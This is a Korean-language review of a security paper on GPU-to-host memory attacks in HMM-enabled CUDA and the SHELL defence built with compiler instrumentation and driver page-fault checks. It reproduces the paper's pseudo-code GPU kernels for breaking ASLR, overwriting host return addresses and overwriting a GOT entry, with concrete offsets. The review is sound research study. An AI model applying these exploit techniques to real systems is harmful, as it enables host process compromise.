GHost in the Shell: A GPU-to-Host Memory Attack and Its Mitigation

GHost in the Shell: A GPU-to-Host Memory Attack and Its Mitigation
Author	Sihyun Roh, Woohyuk Choi, Jaeyoung Chung, Yoochan Lee, Suhwan Song, Byoungyoung Lee
Conference	IEEE Symposium on Security and Privacy (S&P)
Year	2026

개요

이 논문은 Heterogeneous Memory Management가 활성화된 CUDA 환경에서 GPU kernel이 host memory를 과도하게 접근할 수 있는 문제가 왜 host process compromise로 이어지며, compiler instrumentation과 GPU driver page-fault enforcement로 어떻게 막을 수 있는지를 다룬다.

Background

전통적인 CUDA programming model에서는 host memory와 GPU memory가 분리되어 있다. Host program은 `cudaMalloc`으로 device memory를 할당하고, `cudaMemcpy`로 host-device copy를 명시적으로 수행한 뒤 GPU kernel을 실행한다. 이 모델에서는 programmer burden은 크지만, GPU pointer와 host pointer가 강하게 구분되므로 GPU kernel이 host stack, heap, library metadata를 직접 읽거나 쓰는 것은 기본 threat model 밖에 있었다.

반면 Heterogeneous Memory Management는 Linux kernel framework와 NVIDIA GPU driver support를 통해 일반 `malloc`, `new`, stack allocation으로 만들어진 host pointer도 GPU kernel argument로 넘겨 접근할 수 있게 한다. 따라서, HMM은 programmability를 크게 개선하지만, host-only memory와 GPU-accessible shared memory의 boundary를 흐리게 만든다.

Motivation

기존 GPU security 연구와 tool이 대부분 GPU memory 내부의 memory-safety bug에 집중했다는 점이다. Compute Sanitizer, cuda-gdb, GPU memory corruption 연구들은 GPU kernel 안에서의 leak, corruption, GPU-side control-flow hijack을 다루지만, discrete GPU가 host memory와 격리되어 있다는 전제를 둔다. HMM에서는 이 전제가 약해진다. GPU kernel이 host virtual address space의 page를 fault-triggered migration으로 접근할 수 있기 때문이다.

따라서 "GPU kernel이 host보다 덜 privileged한 computation context"라는 오래된 직관이 더 이상 안전하지 않다. Vulnerable GPU kernel을 사용하는 PyTorch inference service나, 미래의 remote GPU execution API처럼 attacker-supplied GPU code를 실행할 수 있는 platform에서는 GPU-side compromise가 host process compromise로 확대될 수 있다.

Importance

Prior GPU attack들은 side channel, residual GPU memory disclosure, GPU kernel control-flow hijack을 보여주었지만, host process memory를 직접 corrupt하는 공격은 다루지 못했다. GHOST-ATTACK은 HMM이 이 boundary를 무너뜨릴 수 있음을 보인다.

그러나, 본 논문은

HMM을 단순한 performance/programmability feature가 아니라 새로운 security boundary 변화로 제시하였다.
또한, 이 논문은 "address space가 unified되더라도 access authority는 unified되면 안 된다"는 design principle을 제시하였다.

Main Idea

공격 방향의 아이디어: HMM환경에서는, GPU memory-safety bug가 host memory exploit primitive로 승격시킬 수 있다. 공격자는 GPU kernel context를 바탕으로 host pointer와 libcuda-rt metadata를 이용해 host address layout을 알아내고, return address나 GOT entry 같은 control-relevant host data를 overwrite할 수 있다.

방어 방향의 아이디어: GPU가 접근해도 되는 host memory를 "host가 kernel launch 시점에 의도적으로 전달한 shared data"로 한정한다. SHELL은 Clang/LLVM instrumentation으로 `cudaLaunchKernel`에 전달되는 pointer의 allocation source를 추적해 shared region whitelist를 만들고, NVIDIA GPU driver의 HMM page-fault handler에서 faulting address가 whitelist 안에 있을 때만 page migration을 허용한다. 이를 위하여, NVIDIA HMM page migration이 64KB granularity로 처리되기 때문에 단순 page-fault check만으로는 sub-page leakage가 남는다. SHELL은 shared data와 host-only data가 같은 64KB migration block에 섞이지 않도록 global, heap, stack shared allocation을 별도 aligned region/pool로 옮겼다.

Design

GHOST-ATTACK threat model

Victim은 HMM-enabled CUDA application이며, PyTorch/TensorFlow 같은 framework처럼 libcuda-rt를 dynamic link한다. Attacker는 GPU kernel memory-safety bug를 crafted input으로 exploit하거나, WebGPU/HIPscript-like interface를 통해 attacker-supplied GPU kernel을 실행할 수 있다고 가정한다. 목표는 GPU kernel privilege에서 host process memory integrity와 control flow를 compromise하는 것이다.

ASLR bypass through libcuda-rt

/* GPU kernel to break ASLR */
/* Pseudo C-style code for readability */

__global__
void aslr_break_kernel() {
    uint64_t nvidiactl_base = 0x200400000ULL;
    uint64_t offset = 0x7ce8;

    uint64_t *probe_object
        = *(uint64_t **)(nvidiactl_base + offset);

    uint64_t i = 0;
    uint64_t *leak_object;

    /*
     * Find the object that contains the magic values:
     *   0x200000000
     *   0x300200000
     */
    while(true) {
        if(*(probe_object - i) == 0x200000000ULL) {
            if(*(probe_object - i + 1) == 0x300200000ULL) {
                leak_object = probe_object - i;
                break;
            }
        }

        i++;
    }

    /*
     * Read objects until it leaks the last mapping information.
     */
    for(i = 0; *(leak_object + i) != 0xffffffffff600000; ++i) {
        printf("leaked address: %lx\n", *(leak_object + i));
    }
}

GHOST-ATTACK은 libcuda-rt가 host process에 남기는 memory layout artifacts를 이용한다.

GPU launch 시 `nvidiactl` device mapping이 fixed virtual address에 배치되어 reliable anchor가 된다.
그 mapping의 fixed offset에 host heap object를 가리키는 pointer가 있다.
Line 20-29: 이 부분은 probe_object속의 특정 magic value값을 찾는 부분이다. 이 값을 찾으면 object의 시작점을 알 수 있다. 전형적인 memory scanning + signature matching방식이다. 여기서 중요한거는 GPU가 *(probe_object - i)를 할 수 있는 권한, 즉 host memory의 arbitary read가 가능하다는 점이다.
마침내, leak_object를 찾았으니, 메모리를 순서대로 읽어서 출력한다. 종료조건은 0xffffffffff600000값을 출력시키는 것인데, 이 값은 x86-64 Linux의 vsyscall page주소이다. 즉 출력되는 값에는 exectuable base, heap base, mmap region, shared library base, libc base, ... etc들이 있는데, 이 값중 하나만 leak되어도 ASLR을 깨트릴 수 있다. 예를 들어서 Libc base가 leak되면 ROP Gadget주소나 System call함수 주소등을 계산할 수 있다.

Return address overwrite

/* GPU kernel to overwrite a return address on the stack */
/* Pseudo C-style code for readability */

__device__
void return_address_overwrite_payload() {
    /* Break ASLR, and leak the libcuda base */
    size_t libcuda_base = find_libcuda_base();

    /* Return address to overwrite */
    size_t return_addr = libcuda_base + 0x25f701;

    /* Scan the stack to locate the target return address */
    size_t target_addr = scan_stack(return_addr);

    /* Scan host address space to find the gadget */
    uint64_t gadget_addr = find_gadget_addr();

    /* Overwrite the target return address with the gadget address */
    *(uint64_t *)target_addr = gadget_addr;
}

먼저 GPU kernel은 ASLR을 우회하여 `libcuda-rt`의 base address를 얻는다.
이후 `libcuda_base + 0x25f701`을 계산한다. 이 값은 `cudaDeviceSynchronize()` 내부의 blocking loop와 관련된 `libcuda-rt` 함수의 return address 값이다.
Host program은 GPU kernel이 끝날 때까지 `cudaDeviceSynchronize()`에서 대기한다. 이는 Host의 stack return address가 고정되도록 하여서, 공격을 더 쉽게 만든다.
이때 host thread의 stack에는 `libcuda-rt` 함수의 return address가 저장되어 있다.
GPU kernel은 host stack을 스캔하여 해당 return address 값을 찾는다.
찾은 stack slot을 attacker-controlled gadget address로 덮어쓴다.
이후 blocking loop가 끝나고 CPU가 return할 때, 원래 주소가 아니라 attacker가 써둔 gadget address로 jump하게 된다.

GOT overwrite

/* GPU kernel to overwrite libcuda GOT entry */
/* Pseudo C-style code for readability */

#define GADGET_OFFSET (0xXXXXXX)
#define FREE_OFFSET   (0x25f701)

__device__
void GOT_overwrite_payload() {
    /* Break ASLR, and leak the libc & libcuda base */
    size_t libc_base = find_libc_base();
    size_t libcuda_base = find_libcuda_base();

    /* Set gadget address to overwrite */
    size_t gadget_addr = libc_base + GADGET_OFFSET;

    /* Set GOT entry to be overwritten */
    size_t target_addr = libcuda_base + FREE_OFFSET;

    /* Overwrite the GOT entry with the gadget address */
    *(uint64_t *)target_addr = gadget_addr;
}

GPU kernel은 ASLR을 우회하여 `libc`와 `libcuda-rt`의 base address를 얻는다.
`libc_base + GADGET_OFFSET`을 통해 attacker가 사용할 gadget address를 계산한다.
`libcuda_base + FREE_OFFSET`을 통해 `libcuda-rt` 안의 `free()` GOT entry 주소를 계산한다.
GPU kernel은 해당 GOT entry를 gadget address로 덮어쓴다.
이후 host CPU가 `libcuda-rt` 내부에서 `free()`를 호출하면, 원래 libc의 `free()`가 아니라 attacker-controlled gadget으로 jump하게 된다.

SHELL static identification of shared data

SHELL은 GPU kernel이 접근할 legitimate shared data를 GPU kernel 실행 중 access trace에서 추정하지 않는다. 대신 host-side `cudaLaunchKernel()` argument가 shared pointer의 root라는 observation을 사용한다. LLVM/Clang pass가 kernel launch argument에서 backward use-def analysis를 수행하여 global variable, heap allocation, stack allocation, memory mapping 중 GPU에 전달될 수 있는 region을 찾고, 이 region 정보를 GPU driver의 SHELL table에 등록한다. 이 방식은 compromised GPU kernel이 임의 host address를 읽었다는 사실만으로 그 address를 shared data로 오인하는 문제를 피한다.

Isolated shared allocation

SHELL은 allocation kind별로 shared data를 host-only data와 분리한다. Global shared data는 64KB-aligned Shared Main Data region으로 옮긴다. Heap shared data는 jemalloc `mallocx` 기반 separate arena에서 할당한다. Stack shared data는 function prologue/epilogue instrumentation을 통해 heap allocation/free로 변환한다. `mmap` 기반 shared allocation은 custom `MAP_HMM` flag를 붙이고 64KB alignment/padding과 driver table update를 수행한다. tradeoff는 compiler/runtime instrumentation과 custom allocator dependency가 생기는 대신, HMM의 sub-page migration granularity 문제를 줄인다는 것이다.

Runtime access control in GPU driver

SHELL은 NVIDIA GPU driver의 HMM page-fault path를 enforcement point로 사용한다. GPU가 GPU-only memory를 access하면 기존처럼 GART translation이 성공한다. GPU가 host memory를 access해 page fault가 발생하면, driver는 faulting address가 SHELL table의 shared data whitelist에 있는지 확인한다. Shared data이면 migration을 허용하고, host-only data 또는 unmapped page이면 migration을 거부한다. 이 invariant는 "GPU kernel은 GPU-only data와 explicitly shared host data만 접근한다"는 것이다.

Result

Attack senarios: 공격 결과는 두 PyTorch와 Chromium Web Driver케이스로 제시하였고, 성공적으로 공격하였다.

SHELL Case studies: 방어 결과에서 SHELL은 vulnerable GPU kernel 자체의 exploit이나 GPU-side payload execution을 막지는 못하지만, payload가 host-only data를 접근하는 것을 막는다. 그 결과 host address layout leak과 host GOT overwrite가 차단된다. Chrome/WebGPU case에서는 future GPU kernel launching module을 가정하고 그 module에 SHELL instrumentation을 적용했을 때 attacker-controlled GPU kernel의 host-only memory access가 차단되었다고 보고한다.

Performance evaluation은 NVIDIA의 HMM-enabled ERA5 climate dataset processor sample을 대상으로 했다. Baseline jemalloc version의 elapsed time은 3.1088초이고 SHELL-enabled version은 3.1398초로, end-to-end overhead는 0.9%이다. `nvidia-smi` 기준 GPU memory allocation size는 baseline과 SHELL 모두 5,824 MiB로 같아, 64KB migration block alignment가 이 workload에서 extra fragmentation을 만들지 않았다고 보고한다.

Criticisms

HMM 자체가 아직 production application에서 널리 쓰이지 않기 때문에, performance evaluation의 real-world scope는 제한적이다. 논문도 이를 인정하고 NVIDIA HMM sample인 ERA5 processor를 대표 workload로 사용한다. 더 다양한 ML framework, multi-process service, long-running inference workload에서 allocation pattern과 page-fault behavior가 어떻게 달라지는지는 추가 검증이 필요하다.

SHELL은 GPU kernel의 memory-safety vulnerability 자체를 제거하지 않는다. 공격 payload가 host-only memory에 접근하는 것을 막는 boundary defense이므로, GPU memory 내부 data corruption, GPU-side control-flow hijack, denial-of-service는 별도 방어가 필요하다. -> Possible Future Works?

Conclusion

연구는 HMM이 어떻게 기존 GPU의 Threat Model을 확장시킬 수 있는지 제시한다는 점에서 기여도가 높다고 생각한다. 제시한 Solution은 이 TreatModel에서 명백히 작동하는 방식으로 보인다는 점에서, Defending logic도 명확해 보인다. 이 논문은 후에, HMM하에서 Host-GPU간의 Security problem들이 새로운 공격 주체로서 확장시키는 (그리고 막는 여구들의)좋은 초석이 될거라 생각한다. 전반적으로 Writing quality도 매우 좋았으며, Evaluation결과도 훌룡하였던 것 같다.